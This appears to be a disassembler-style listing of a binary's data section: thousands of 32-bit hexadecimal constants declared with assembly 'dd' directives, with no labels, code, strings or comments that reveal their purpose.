		dd 0AA5ED386h, 39B75317h, 0C3162B18h, 5B20C255h, 0FF41C121h
		dd 0C2558108h, 0B6F3FF30h, 3CDFB12Eh, 0D74482Eh, 0CC381F86h
		dd 2D5137D8h, 347E1C74h, 759808A0h, 0FF478E41h,	19BB5F80h
		dd 81E201D1h, 0C64336CAh, 4E0C820Eh, 0C02CB541h, 4B6D50C8h
		dd 0C5ABC52h, 4A2739C7h, 95E49AA4h, 5D5A3A7Eh, 1B4AD818h
		dd 136F0C8Ch, 0D06822ABh, 285C1202h, 7703EAC1h,	16F65C00h
		dd 46C019B5h, 43BA5731h, 0D50927E9h, 958EE9Ah, 6020507Dh
		dd 250A9C6Eh, 163875Fh,	7AB4046Bh, 55D42109h, 0DD2B2F85h
		dd 3F043FE8h, 0AF1A4F34h, 4ACDF8E9h, 0B5A46092h, 0D320DA4Bh
		dd 656B151h, 0FE39F180h, 0AB090AC1h, 0F5A114E9h, 69151598h
		dd 0F0BBC7A1h, 0DA5F4C68h, 0DFCD74A1h, 0E12B996Fh, 0BCAB0486h
		dd 5DC88420h, 96C60CB8h, 309FE325h, 91189347h, 2486A063h
		dd 827D8D62h, 2365E3CAh, 6992AAE8h, 638EE3Eh, 4521D9E2h
		dd 84675E7Ch, 0D6F7FF25h, 0B98CAA4Bh, 13590FB8h, 0C60B1FA7h
		dd 607B2D03h, 0CB293A24h, 4ED8D025h, 0BE4CC5EFh, 0E5B59913h
		dd 1D41FCD6h, 0DF2D8940h, 55667723h, 451FAF94h,	18F0030Dh
		dd 9D0C1930h, 0AADC8389h, 61827ECBh, 0C23F5C68h, 0A0BEC7FFh
		dd 536F6984h, 0F6820CD8h, 0F183CBFFh, 0BD9DE895h, 0E107D2C7h
		dd 48E26E87h, 216445D2h, 1BB6FB88h, 0F988E984h,	1C1123Ah
		dd 8BA3FD01h, 9A21CB97h, 3592B53Ah, 9EB13A18h, 0FDAADE02h
		dd 0F3682BB8h, 0DEBD3070h, 0B85B53E7h, 25751FE8h, 2ED6858Eh
		dd 17B20F40h, 7279BFFEh, 9A37CBC9h, 0B2A05F01h,	6F03BB5Ah
		dd 8A3E0B24h, 0AE870F1Dh, 86692933h, 775686Bh, 0D71B7CF5h
		dd 0AF7FB463h, 552D0DACh, 90566254h, 0A5D05BE3h, 2EE682C5h
		dd 4470E710h, 17ED205Fh, 14D80507h, 0B8503B39h,	4E273EF3h
		dd 21FD09h, 7EFF7F5Bh, 97A26AE9h, 0CF96674Ch, 0F960E200h
		dd 3FE1D147h, 76E080E9h, 0F607EEC0h, 0C6FED603h, 0F0AEB353h
		dd 4FE91DF3h, 59670B32h, 0C7D1A14Bh, 9AA53874h,	876A82E2h
		dd 0E964D4DBh, 674B897Ah, 5A2A3A58h, 0F9DDA854h, 3C60BF5Fh
		dd 0A370F181h, 12CD56F0h, 1683A407h, 807B2889h,	9E62C8A2h
		dd 4EF1835Fh, 29CA3757h, 236CC511h, 0AF8F580Ch,	0E9F98CD2h
		dd 6191F67Eh, 1EEDBB81h, 0C03F5C60h, 34196D84h,	982D5A02h
		dd 56998093h, 245427E3h, 0B77D410Dh, 58646830h,	8807B6Dh
		dd 0D7F7498Ah, 4A525130h, 26A97C46h, 0BAD8923h,	0CC55ECD2h
		dd 0A604A56Ah, 4F0110B5h, 5E85BDBCh, 0BDB530A6h, 0C4276E44h
		dd 283C7C15h, 57D14E0Ch, 8121AA2Ah, 16809172h, 0C9FE7BB1h
		dd 6812D9F6h, 0D63124BCh, 813BDEB4h, 0CCF1CCAAh, 0F4EC13ECh
		dd 0E906B166h, 9D31F61Dh, 23B8B2C3h, 909DE120h,	95F29409h
		dd 6815997Fh, 373311E5h, 2E32F15Fh, 0F34CF81Dh,	0EC3AD5Ah
		dd 49B668F4h, 0E00CC0DEh
		dd 74E947D9h, 0F2EF8AEBh, 4C9975Eh, 680513FEh, 42B3AE65h
		dd 0C92FC800h, 60E6811Ch, 0B7E5E1Dh, 56C2EE81h,	437E314Ah
		dd 2A6592D3h, 0C0B1CFEh, 5D57282Dh, 0C4954F1Ch,	88AA22DEh
		dd 59B52AEDh, 9878F2EDh, 0A1D1E064h, 78AF2ADBh,	76412769h
		dd 1EA2B020h, 0C806DF70h, 0DE256018h, 0AD3113E4h, 809740F5h
		dd 796241D5h, 553DFC32h, 64457FD3h, 0A2567B89h,	0AAE6B4EAh
		dd 6303CDBh, 16E22841h,	4B55158h, 0B29D0DD5h, 0F2808BAEh
		dd 0F074B0B7h, 0F3024B1Ah, 0B5BB0225h, 0CB449725h, 0E9919FD4h
		dd 66620659h, 6C70E305h, 0F5B4C067h, 940B692Fh,	0C0B3E918h
		dd 4BEB68D1h, 0CEA1A24Ch, 5974A9E9h, 17D92576h,	1604F525h
		dd 0E9D8B429h, 27079249h, 9F3BCC5Eh, 0E01DA259h, 0F6681DCBh
		dd 69527110h, 72BA1325h, 0BA530B4h, 467E496Dh, 1A849F5h
		dd 923DA96Bh, 0C4860ABBh, 0A8C580A0h, 0C112E435h, 0F605E526h
		dd 0A2E86180h, 636CE955h, 39F62BEEh, 0B201B7AFh, 9A71263Dh
		dd 5280EF81h, 0D8007922h, 33605E5Bh, 0DA6511DCh, 90017C50h
		dd 0C3076042h, 0DDF65BFDh, 7AB4665Eh, 0F0C5E8EAh, 26D2F858h
		dd 1346D586h, 7816FA51h, 0BAE2CCBCh, 0D5BF9E98h, 0DA3326CBh
		dd 8B3C2A77h, 0BED695B3h, 0C6CE851h, 79D1B050h,	6B1224EEh
		dd 581B41D2h, 932AE80Dh, 416FD69Fh, 88783654h, 3E6AAF5Eh
		dd 1A0CD5AEh, 0FE895F29h, 3784D680h, 0CAF2204Dh, 8836FB0h
		dd 31C80C05h, 58ED6DF1h, 0CA2FE742h, 0C1082D04h, 6E22BCh
		dd 70EA8058h, 0DC7EBD8Dh, 7898588h, 656CFABDh, 78870003h
		dd 4254F12Ah, 0A91CE916h, 68949CABh, 1802762Dh,	9F7E1A95h
		dd 10090BFBh, 2EE5D2ECh, 0C1536F5Eh, 41D50FA2h,	84EBDACBh
		dd 43779883h, 0E0F55182h, 9F3275B2h, 8C4B6178h,	295D6F01h
		dd 5F4192C2h, 8972F522h, 0BDACF001h, 0F4CE297Dh, 0B0955B50h
		dd 977178ECh, 9E0985CAh, 5B9AF474h, 4CB50054h, 1322B265h
		dd 97932BE9h, 0EF576127h, 28686033h, 34D82D00h,	3E10C405h
		dd 17E91870h, 8ACB2D01h, 217B2C7Ah, 0F5DD7D24h,	67EC3492h
		dd 87F4F9D3h, 92DFA31h,	6F8823Fh, 14819B60h, 0B82DF426h
		dd 0CBB10D0Eh, 659261C8h, 0EA5B4F2Ch, 4C66EA6Ch, 0A224805Bh
		dd 23C82F50h, 4200B2E5h, 51534A21h, 18701F68h, 6859185Dh
		dd 432703BAh, 0DCAB0BF6h, 56680538h, 36CF337h, 4E632693h
		dd 4B260629h, 226746E9h, 2B275D95h, 0EA8D5081h,	93CB89Ah
		dd 31E98BF8h, 5FE57DB2h, 80CE2DBFh, 1055F5Ch, 3CF40FAEh
		dd 0B2A5C689h, 5CA6B4BCh, 5C71742Ch, 42F4EF02h,	9C9F43B3h
		dd 0FE4FAFFCh, 0C5845833h, 0E266EAE7h, 0D2950D3Ah, 909BF77h
		dd 5A98515Dh, 50DDF25Fh, 26E9B58Fh, 0AA8E570Eh,	3E740929h
		dd 6B055EE1h, 530FA0CAh, 19882EB3h, 330D002Eh, 352CDD73h
		dd 80170318h, 8269F2B8h, 0D9BD41FFh, 1B2A02Fh, 99B6F55Ah
		dd 9942B04Ah, 8F405281h, 7C705FCEh, 0A833776Dh,	24B7E6F8h
		dd 82644A45h, 0D522ADFh, 2CDC5657h, 80E80BE6h, 0EAD7E2CAh
		dd 7E7240FDh, 0BC3D5A63h, 1B00294h, 69295CBDh, 7980E178h
		dd 0F82B31BAh, 0E258C133h, 0BB6C11A7h, 6001C311h, 0B671EC0Ch
		dd 0A0709773h, 709BAEC7h, 0EFE14435h, 1638E27Fh, 0AB4DEE9h
		dd 7164391h, 5253BDB2h,	0EDB39740h, 31EB0E80h, 0C3AED328h
		dd 0FF085AACh, 522EF679h, 1409DEB6h, 0EE5CDAFAh, 7010058Fh
		dd 0ABC82120h, 0BB4E2ACBh, 0BB5B409Eh, 27E9FB38h, 0F46898DCh
		dd 9A3CD6BAh, 0CE893AF2h, 0BB134934h, 0E9133DFCh, 8421874Ch
		dd 0DDCBAA29h, 1A0FBC5Bh, 572655DEh, 68041A4Fh,	37A37435h
		dd 0A74E014Fh, 2957BF6Ch, 0CE98AB7h, 7758510Bh,	798E5E6h
		dd 0E3CC9D4Fh, 7E384114h, 68281CF4h, 6FA21077h,	949BA844h
		dd 849BFCDFh, 0BF171BEAh, 402895D6h, 0F30ABB98h, 977C2D61h
		dd 2B18990Fh, 170C5637h, 0E3EA00F7h, 71F64CDCh,	0ECA7D595h
		dd 7476780h, 5BC157E1h,	705BE28Fh, 0E913E3FEh, 37A20F9Eh
		dd 7079E501h, 214D7CEFh, 0CB32D0F1h, 0EA293F05h, 0AC05E5Dh
		dd 2E2E9FB9h, 27C1DADh,	7B2F4990h, 0CEF40ED5h, 180F8181h
		dd 0C9D83776h, 0BB5A165Bh, 4A4EAF1Eh, 604401A0h, 9C6BC5E9h
		dd 935E1483h, 803734ABh, 1341065Ch, 0D7012704h,	0A9BFB8E9h
		dd 54A20413h, 0FC831887h, 2949A159h, 71EAF02Eh,	4FB01A5Eh
		dd 82E29404h, 0E177C988h, 20E9FFC0h, 8FBAE44Bh,	0CF680931h
		dd 204FE669h, 3B98D1BDh, 1ECA8107h, 8337EA0Eh, 0C00134h
		dd 4E8CC11Fh, 0AF1BE1D2h, 39F1AFBAh, 7A2C02BAh,	17B8F05Bh
		dd 2F837A1Dh, 6F172EFh,	526DEF35h, 68BD6E49h, 0BF38770Ah
		dd 12279DF3h, 0BD60F7F0h, 556C1AA8h, 5AE666E8h,	0CF42F85Dh
		dd 86ED455Eh, 0CBCE5DAEh, 0EC518235h, 774AC889h, 7F693896h
		dd 25F38029h, 0ED0210F2h, 252161D0h, 0A5C5932h,	5AB9B2Dh
		dd 5A548C2Ah, 35D0020Fh, 0ED828F5Bh, 0E55DA16Dh, 0E8280B1Ah
		dd 72F70627h, 2C59C838h, 0D56A9742h, 45E6E2AEh,	0C5907112h
		dd 0E8E0162Fh, 4A7EFE0Eh, 3313BAD1h, 0AE5ADFB7h, 69F8C27Ch
		dd 0EAD78D6Eh, 288E04D3h, 0F9305A03h, 917693E7h, 65F134Ch
		dd 134D1164h, 54E8080Ch, 891D06D0h, 2535AB8Bh, 81AC273h
		dd 814090Ch, 542520EAh,	0E0222585h, 979AA7C9h, 4F55DA57h
		dd 3BCFE181h, 0E90A9C9Bh, 989299A9h, 7E864FBh, 1028ED5Ch
		dd 0BA276189h, 78A7BC5Ch, 13D8CE4Bh, 68A6D8D7h,	1954B027h
		dd 96A4813h, 6AD95329h,	3B106840h, 0E97909E8h, 0B0799E37h
		dd 199B943Eh, 0E4FBD2BEh, 0E107C082h, 4BF18006h, 930CB3Eh
		dd 0CAF60243h, 0C55D055Eh, 8765FF28h, 0AD6DEAAh, 4C5A4A68h
		dd 15FEBDBDh, 4A0A5692h, 0A94987BBh, 59F834DCh,	0DF44BF69h
		dd 8B09B41Ch, 3F3C133Eh, 9A5E2FCh, 8F685E74h, 303D2ADCh
		dd 220C9601h, 875A91F3h, 90AAC5DEh, 0A1685F1Dh,	0DD096A9Dh
		dd 5217C21Ch, 0C649D0E9h, 0F672E429h, 8D664FFBh, 9ADE43FBh
		dd 5568028Ch, 0B823A028h, 17583CB9h, 84BFE96Ch,	26CBEA7Fh
		dd 0B16F4454h, 52330944h, 317B1D20h, 0DC9F64EBh, 96F50B0Bh
		dd 0B0FEC8D7h, 897E2C75h, 2B123F06h, 0BF2A528Dh, 0A9689780h
		dd 198955Ch, 0ED0621E7h, 0F7555D77h, 5F2A3079h,	0C8436ABFh
		dd 35584E01h, 3B5207DAh, 7A187328h, 51E59D0Ah, 23D80282h
		dd 68530042h, 23C4474Dh, 81E913AAh, 0FF53598Eh,	48C4E323h
		dd 524BDA43h, 0CD0F129Ah, 0DB22DA6h, 67F6685Dh,	81C94120h
		dd 7EF2D954h, 0FD5E0EA8h, 0D35685ADh, 612AB3EBh, 3098B378h
		dd 95866330h, 585EC05Ah, 7FB769AAh, 1057D62Ch, 1249D8E9h
		dd 0F4AAD687h, 82053825h, 0F009DC9Bh, 393EC604h, 0B52FCFB5h
		dd 6C51ECEFh, 31C098AAh, 260FF87Ah, 245480BDh, 66F93163h
		dd 73101201h, 70D5F774h, 0DE9FD41Ah, 4B65CFC0h,	0D647FBF4h
		dd 663008BAh, 2D424A25h, 0F456DAF7h, 0BF7522Dh,	1BB01761h
		dd 95E02FDh, 0E04657D8h, 4E89E958h, 7EF639FEh, 0B53A1A39h
		dd 31992EBBh, 34B5673Eh, 9EAB102Ah, 8B26AA7Eh, 3BFFCE12h
		dd 6B5D04EAh, 0BEDDFA15h, 0AFD36338h, 0CE62018h, 0BF4DEA10h
		dd 642158C8h, 0B004E8B5h, 0B7C5E00Dh, 77A71C74h, 58C7D802h
		dd 80842EC1h, 5C9CA7Dh,	7D877BEBh, 2362DF2h, 2D4294D4h
		dd 0B695295h, 1D8D336Fh, 61021F8h, 0D3075AABh, 0C008774Fh
		dd 8D2413F3h, 0D60C7860h, 546BAA45h, 0BE5E509h,	29286214h
		dd 0FEDF083h, 89950E78h
		dd 6196FD70h, 28C58002h, 23FFE830h, 0B90288CFh,	1E7797F1h
		dd 0CAF7C00Ch, 733D2E78h, 0A3F902B6h, 487C7F69h, 2F97F42Dh
		dd 42986848h, 0D5098E27h, 45681021h, 64CC2E25h,	0F59641F3h
		dd 3B37BE0h, 5885523Ch,	9879DE3Ah, 0B2F85AF2h, 0E4E659Dh
		dd 32E5C8BBh, 6931630h,	0C5658B8h, 72543F01h, 6642E97Eh
		dd 5958223Ah, 0CB30B0F7h, 614E2F37h, 0FAB89E78h, 32BD6812h
		dd 0D2D02FF2h, 5418A306h, 6B9F0C7Eh, 0A7F8051Dh, 5F36460Fh
		dd 9808A884h, 77D44877h, 904F0BDEh, 799087EEh, 3FB6854Eh
		dd 129D6210h, 34068851h, 2C94E7h, 5C5B792Dh, 50AA053Ch
		dd 0E2312A27h, 9E855F10h, 0CD87FE84h, 4212E960h, 0FA614E8Dh
		dd 25080A10h, 643AF55Eh, 0BDFD65F7h, 0F7ADD0B3h, 95A8CAD0h
		dd 3BCFEEC0h, 41012F2Dh, 0A80804FBh, 90F94A2Eh,	0B3091AF6h
		dd 0EA432118h, 53080915h, 69C70BECh, 0DCD6DCA6h, 0F09567Eh
		dd 0D7148B7Ah, 6841E471h, 0A22F0191h, 5F87D046h, 554B9E5Dh
		dd 28F10F2h, 0FEDD12F6h, 758709C5h, 0E0B9027Dh,	0A8677740h
		dd 7DBF6802h, 54725D93h, 50DAE92Fh, 0B03CB520h,	593DE20h
		dd 32687DB2h, 8BFE4557h, 0C2B3B8ACh, 40255399h,	418F132h
		dd 217D161Bh, 96D1BCC8h, 580C625Eh, 0A1DE7941h,	982ACA97h
		dd 0D440239Ah, 803E984Eh, 5999DBCh, 0CD68CF58h,	864AD92Ah
		dd 0E7178852h, 0CDDD2A5Ah, 0B768164Ah, 8972B918h, 0F5DE42F3h
		dd 9FC2FDC8h, 1C96CE14h, 0FEB94AD7h, 6BD7F197h,	1089FBF9h
		dd 0F2201FF2h, 0E055764Dh, 0B412BF5Bh, 506A7155h, 51BC9BE9h
		dd 3F8B911Dh, 5B22FA6Eh, 0E673E4FCh, 78B3719Dh,	1999AA73h
		dd 45B5BCA0h, 74128854h, 0C64EFF20h, 89A41F13h,	9A681358h
		dd 0A473A920h, 799A8C2h, 0E8D96451h, 29EE4BB5h,	6EF72A80h
		dd 4F765A11h, 0A5F1CEECh, 0E3C00010h, 0C3801206h, 0A81EAB62h
		dd 0E9A7816Dh, 0A96B71D4h, 9655C8BFh, 4BD5EF5Dh, 9B0F82EAh
		dd 5A5D3C4Ah, 288A70CAh, 9A543BAh, 406D43Eh, 3444F355h
		dd 6E9CC142h, 0F3A86AAEh, 0A2F1F084h, 0BD55014Eh, 37E36E27h
		dd 0C0684AF9h, 0BA482934h, 4711901h, 96816D93h,	780BCF35h
		dd 6C589866h, 685C5C7h,	89390E2Dh, 905BCAEFh, 0B72367FEh
		dd 0E67FFBD1h, 390B9723h, 30AFB02h, 518EC7F1h, 4B06421Ah
		dd 0FC504250h, 31C95341h, 348BF0F0h, 2457A9Bh, 0A20B98AFh
		dd 0BBA2840h, 2F686D5Ch, 589D1081h, 0EAB0E7B5h,	572C0DA1h
		dd 0E985492Dh, 20FA78B8h, 40478F66h, 72C5B49Ch,	0E4E05D0Ch
		dd 7968805Fh, 0D6B76C70h, 14DDC90Fh, 53F6B570h,	0DD0BC5A0h
		dd 5E49111Dh, 0F52103EEh, 4B3B9DE9h, 0BD5A1659h, 2AEB89EFh
		dd 8253F9CAh, 69399E25h, 1694EC53h, 62334C2Dh, 0B3C74013h
		dd 69F8BFCCh, 4943D1B7h, 739CE95Eh, 0B9D979F3h,	837979AFh
		dd 0B64B504h, 0F9868207h, 0CDA9E1h, 0F016EB80h,	14F9EB0h
		dd 7525F4B9h, 0F0AC303Ch, 90FE0DD7h, 69A9E9F6h,	255CE697h
		dd 0E65B4BA7h, 4EE4D43Eh, 0C440D351h, 1C5EAB45h, 4B00EC16h
		dd 2C843FBAh, 0ADF64BE9h, 7DF71749h, 4A0BE8F4h,	0D461BEA7h
		dd 0AC6E9A2Ch, 39BEA561h, 0BDF1C80Ch, 5E9EAF9Eh, 7A0EB68Bh
		dd 4B93FE15h, 1282A3A1h, 0F8F6595Ch, 10DCC302h,	0DFE1317Ch
		dd 57E26E2Dh, 0F2989D12h, 0FE5885h, 39115CB7h, 2F9482BBh
		dd 0EFC9A5Fh, 90C5860Ah, 1A1DCA8Bh, 7BF0BBh, 0C5CD3558h
		dd 0C601DAA8h, 13BB36F1h, 13FB4DE9h, 30378A42h,	138D7651h
		dd 0B9500122h, 379C48DEh, 37C17B31h, 0E49059CEh, 135F3BA6h
		dd 78B7A4F9h, 99422927h, 22A9FFh, 5715E25h, 6C350452h
		dd 0BB679A7Bh, 6902FBDh, 6ED90993h, 0BF02C5D7h,	0B3D44B70h
		dd 0BD0BD3DCh, 6AB6D1E6h, 6C3D04B2h, 0A0C0EFD9h, 4C405938h
		dd 0FE173323h, 66CAAF4Fh, 0C4595548h, 482E1948h, 26C58C75h
		dd 6941AA1Fh, 0FA4B842Fh, 0B9960C69h, 5CD4E038h, 897FFC9Dh
		dd 0D15765CFh, 27C96FCBh, 7F95E3F8h, 5230649Eh,	0CFEE234Ch
		dd 0BD477E2Fh, 9C63305h, 0F7075D08h, 4659C36Bh,	0DC10EAFCh
		dd 53FC4F08h, 0B0D75E2Fh, 4A43E98Fh, 0C625E893h, 6103E9Bh
		dd 0F662F380h, 7000AD3h, 665BD988h, 95517E68h, 338775FCh
		dd 0ECCAE120h, 50F70267h, 1A0CFFD7h, 90C07458h,	0B353000Bh
		dd 30F2B667h, 0F1E65BDEh, 0D771E917h, 0F0C866C4h, 59529C5Eh
		dd 579D2CB7h, 0AEBA2721h, 0A5CDCB5Ah, 0BC9C5CD0h, 6F299D82h
		dd 0B7922F22h, 740F6CC4h, 6B4E8756h, 0D68CA9AEh, 4C460843h
		dd 0D0458F68h, 902944BFh, 10F7F337h, 5A121A0Eh,	5A63AF55h
		dd 0BE7F0378h, 43064560h, 7F71E3D1h, 0E3527D72h, 4FDFBCFh
		dd 0E10DF92Fh, 86F3B862h, 7B9A4EDh, 22B13E3h, 0C1EB6435h
		dd 70C24A2Fh, 0FE9FB03Ch, 74314245h, 24787DABh,	7727C20h
		dd 4570482Dh, 95A8A41Ah, 5C37BDA7h, 6F9F708h, 69FB8C96h
		dd 0CED2B0E3h, 275047BFh, 37637ED9h, 0E93BE065h, 6F90415Dh
		dd 4B30C8B0h, 0E9DD7594h, 5101741Eh, 0E9488405h, 0F33FB770h
		dd 57C9C0E0h, 0B0631C75h, 36AE0943h, 6AA4482Ch,	5E9DD356h
		dd 4DC180F7h, 0E6E8799Ch, 2060362h, 7E1D4046h, 0FD8A044Ah
		dd 1698F8E9h, 8D164512h, 1F7353A9h, 12C2D5A5h, 5EE7A6C8h
		dd 7DEE3EC5h, 0F7D2DDDh, 13B05305h, 0AACA4F0Bh,	0C00FBA5Eh
		dd 5414DAE3h, 4E772728h, 47AB66Bh, 0C8B5EEE9h, 5D4BF5D3h
		dd 5CC904ACh, 49AA3508h, 1866801h, 3BE5EDECh, 12BAAF12h
		dd 1616B96Ch, 0A004E829h, 0BF00DFDBh, 47F95661h, 59B522BAh
		dd 4F5528C0h, 0BA1917F1h, 9360599Dh, 0C5D9977Eh, 605A4126h
		dd 2D9FA216h, 49821AAEh, 0D9DDB215h, 0A5AE4F87h, 0E4D38BCh
		dd 372DAAB4h, 452DC100h, 48D8B825h, 47201B30h, 0A8E6E180h
		dd 661A4114h, 93913AF8h, 0B0011568h, 3A99F6BAh,	7EEC7B21h
		dd 0EF254BB4h, 408D310h, 6299685Eh, 0E9ACF092h,	0E22B5A42h
		dd 777AC7F7h, 90465D09h, 9D497E9Fh, 0B6C2EFE9h,	64DDE7Ah
		dd 12D260Dh, 44AFED0Fh,	0DFB44E7Dh, 787445F1h, 0C2DE2F1Ch
		dd 56E77DC8h, 1D843033h, 0CBD1213Ch, 905D7F1Eh,	3D9EEE47h
		dd 0FD59584Dh, 0E779E909h, 0E2050C20h, 0D3907A36h, 702304Ah
		dd 0DF03FC68h, 822059C5h, 2F684740h, 7B98624Eh,	5781ED7Fh
		dd 0ABE9817Bh, 0BD108162h, 557A2150h, 9C72F42Eh, 0AAF44216h
		dd 2FBDA784h, 55946882h, 925174A7h, 4A54577Dh, 0A394DFD2h
		dd 0D684E913h, 6267E098h, 1538DBFEh, 3F4034C4h,	59E998B4h
		dd 30C46EE2h, 419AEFD0h, 0CE13134Dh, 783DA26Ch,	90412120h
		dd 0D336FEAFh, 3BD5B187h, 892F26A8h, 7727AF74h,	0D1BD01BCh
		dd 68A0CC85h, 0B9B09B4Eh, 765BD54h, 8E1CE984h, 532CCCFEh
		dd 7791CEABh, 0FB682A28h, 8B3E24E9h, 0D2D69DFFh, 0B87BE05Eh
		dd 0F713A100h, 3CF3564h, 0E0167F46h, 0BB6EB578h, 0D690F8C9h
		dd 26046F7Bh, 2CF7CA65h, 87245080h, 24674F08h, 0BF570B74h
		dd 29E8A9FDh, 0E4B0FD7Ch, 6C3B82EEh, 8292DD0h, 5A090864h
		dd 72D47456h, 0B032367Ah, 762DE532h, 84B10B9Bh,	803C01D7h
		dd 0F1CCF0E1h, 9D7ABD4Ah, 7F91762Fh, 9970BB38h,	0C7D7F780h
		dd 0FFE7C104h, 0CC78528Bh, 0A51540BFh, 462F3761h, 0CB5DD00Ch
		dd 0CA6489A9h, 17ACBD58h, 81681676h, 161DF61Fh,	0C9F9B9E9h
		dd 0E58EA25h, 9837B89Dh, 62AF965Ah, 65567942h, 2354F3BFh
		dd 0F77A660Fh, 0B3FE7B8h, 68CFA70Ah, 0B0DFB31Eh, 0C3FEC73Fh
		dd 32770B9Eh, 8A0D14Bh
		dd 0B82059E0h, 0DE6E6C0Bh, 0A8F5F92h, 0C04A4976h, 930B52F6h
		dd 8915D1D6h, 794E8FAEh, 0BCBF0F2Eh, 0B0139909h, 81449520h
		dd 5A30DB01h, 20C3757Ah, 1F172791h, 0BA0AC850h,	0BB8A0FB5h
		dd 13118F0Eh, 68D2CCEEh, 0D979D72Eh, 42DA7C2h, 7CACBE58h
		dd 9502FAD2h, 0C864E957h, 2A6853FFh, 5DF6512Ch,	376A965Dh
		dd 94E9582Ah, 2980039Fh, 0B6C0B9EAh, 84A6C42Ch,	5AA8709Fh
		dd 146BFDDh, 0BCEFEC4Ah, 49752592h, 0E02E667Fh,	6440C106h
		dd 36BC9897h, 865D734Ch, 0B63BE033h, 1B68F058h,	91B3C571h
		dd 0A453FC67h, 0A97AB8BAh, 12EBBD6Eh, 42F26895h, 0BB2EFD84h
		dd 2060E7D9h, 0BDBB4019h, 285FBF03h, 2C58355h, 5437EDA6h
		dd 8C8E2C51h, 682A8893h, 0D846A05Bh, 28D74E50h,	7B8F5FCEh
		dd 0FCA23267h, 0DB52ED17h, 18EDC0BFh, 5A069CFAh, 0A1699104h
		dd 7AB02316h, 0E829F92Fh, 7ACB8010h, 7FD42D8Ch,	0D3A79A59h
		dd 9AA53B06h, 5698E8FBh, 285D2C24h, 71D63E73h, 0C168808Ah
		dd 84367B49h, 59090802h, 90BE252h, 806AD00Dh, 0DF54EC2Ch
		dd 417895AEh, 0B3B2D733h, 7872B9DDh, 0EB34302Eh, 0EE3F40A0h
		dd 57A31628h, 5B0ED3CCh, 0F774ABC2h, 0A9A29694h, 1458F2C9h
		dd 0C61807Bh, 0FD309806h, 97F3BF5h, 6D71599Ah, 0E6369962h
		dd 0EE68165Ah, 42DE30Ah, 7BFC6778h, 81A185AEh, 41D5D5Bh
		dd 0F0AA1684h, 0A1B15B09h, 71C7A6Bh, 754274B3h,	215C4901h
		dd 0E9090C68h, 6880A11Fh, 19331645h, 3D1ACA40h,	0B9849107h
		dd 0AB973274h, 7F011A82h, 7B494B66h, 0E3B81D02h, 0D14B6042h
		dd 4EE382E0h, 0F446DD5Ch, 0D027B174h, 25B56445h, 0CF5F6946h
		dd 5B4B28FFh, 4E07E35Ch, 0BB9673ECh, 4B6741C1h,	0E0F7FE02h
		dd 0BD28ECF9h, 0F0546E8Bh, 0DC21D76Bh, 88367B68h, 1DBA435Dh
		dd 243F8B5Ah, 6881987Ch, 6C156227h, 3F60220h, 3A757B6Eh
		dd 1003EED1h, 7C4F45CBh, 496FE56h, 14DF0493h, 20818258h
		dd 152DECF2h, 4C24659h,	11C621A1h, 38FDAE29h, 98DBC700h
		dd 0C9E96F52h, 0C1DB8262h, 9ED45758h, 0E4E8F7C4h, 4E715D05h
		dd 5621C587h, 8871F4B7h, 8A405398h, 0E1DD4B87h,	5503928Ch
		dd 175D422Ch, 0FCD5F75Bh, 0CCE9C7C6h, 8B8E5489h, 50D67AD6h
		dd 5FE90278h, 688902ECh, 69547314h, 3D7A0A60h, 0CC296250h
		dd 3CA97E9h, 0B4700D7h,	0B8424069h, 0A6629705h,	4BF2BCD7h
		dd 0E235BF5Ch, 3DBC3485h, 20B55928h, 0BD002A46h, 72437393h
		dd 0D497F581h, 522E060Dh, 2CEC838Dh, 942DE330h,	0FD4E0B46h
		dd 109428B6h, 9C462C0Ah, 0BC1FC66Bh, 6E684127h,	0F97DC20Fh
		dd 0BE1CA69h, 94C48AF4h, 6257C1F1h, 0FA2984E2h,	5A268C7h
		dd 9C41D72Fh, 0B6136E34h, 4B8F37A3h, 5D777590h,	256ECFBFh
		dd 53F1C4F4h, 882ECC78h, 4A2A97D4h, 25A231ECh, 0E08089D8h
		dd 0F11E178Bh, 76AF0124h, 0F7BE58FFh, 0A80A0C92h, 0B838AE0Ah
		dd 4951DF09h, 2FCBD1E9h, 5307A665h, 8D66AB31h, 1A8F682Dh
		dd 0A20C01Fh, 968C4825h, 0B4B1B817h, 0D124D6Dh,	0E3EAFC78h
		dd 1DC01C6Fh, 9F30F725h, 77A0F821h, 0B880609Dh,	861F042Dh
		dd 84C6095Ah, 25E0FC7Bh, 25149659h, 12011968h, 95F384E9h
		dd 5BC230E9h, 6A1929ABh, 0F2BB3B34h, 1796C1B6h,	0D87F5828h
		dd 17CB9202h, 2D648031h, 753809E2h, 69A7016Dh, 0F001211Eh
		dd 68074005h, 109E1F34h, 0A9AE5764h, 42BF4B58h,	9947315Fh
		dd 0E95EDCF0h, 0BA52B931h, 4FE4A86Ah, 2EE987B4h, 0BBF24466h
		dd 0F3FCA513h, 6BA3500Ch, 2202C182h, 0C027C3CCh, 0EBC07C06h
		dd 0DB4CF604h, 0C4802CCh, 60102CF1h, 173058D0h,	85FCE9D9h
		dd 0F49DFFCFh, 0C0BE6BF4h, 3BF1B91Ah, 0F394737Eh, 90EB2117h
		dd 603629D9h, 7A56813h,	25DF638Ch, 190071E9h, 0E10D84BDh
		dd 4AAB6348h, 2FE94BF4h, 672DEA8h, 162A5F09h, 88270057h
		dd 9826D8CEh, 0BE10EED3h, 0C62C14B7h, 4E81Dh, 663AB252h
		dd 8B4EB753h, 0FEB5C1BEh, 0C9B232CAh, 5DC90BB7h, 2C0A4046h
		dd 9C39E923h, 0BCE5898Ah, 0C17D8507h, 29796851h, 75FC326Ah
		dd 0C2819C76h, 693E2ABAh, 1F36DEDh, 0BB49C317h,	2B2921FAh
		dd 0B924CFDh, 0EBF243D2h, 64916AF5h, 0C002D291h, 340811DCh
		dd 88590935h, 27D796DFh, 9A8395E9h, 8CB9D601h, 0E6A76E79h
		dd 0EED0F02Fh, 0C4C48D4Ah, 84EFE3EBh, 0B5AC3E4Eh, 0B281AFC4h
		dd 12F24CABh, 0F6A46DD6h, 0AA141EE4h, 2785C93Ah, 65C1659Bh
		dd 2DA736EEh, 0BBECE17Ah, 0D8B6C83Bh, 685A5B06h, 37C91312h
		dd 645DA1CDh, 95FDEE07h, 7B312206h, 10F0C53h, 9C9DEFC5h
		dd 0B27199C5h, 0DDBA7782h, 0D9F7B3EAh, 55956222h, 0F3D8F0D4h
		dd 0C2B1CBCEh, 0A8E030DCh, 209662Bh, 61DEE781h,	8472755Eh
		dd 0D4EF872Ch, 582D8B28h, 67C8D638h, 9EF509BDh,	8A49C22h
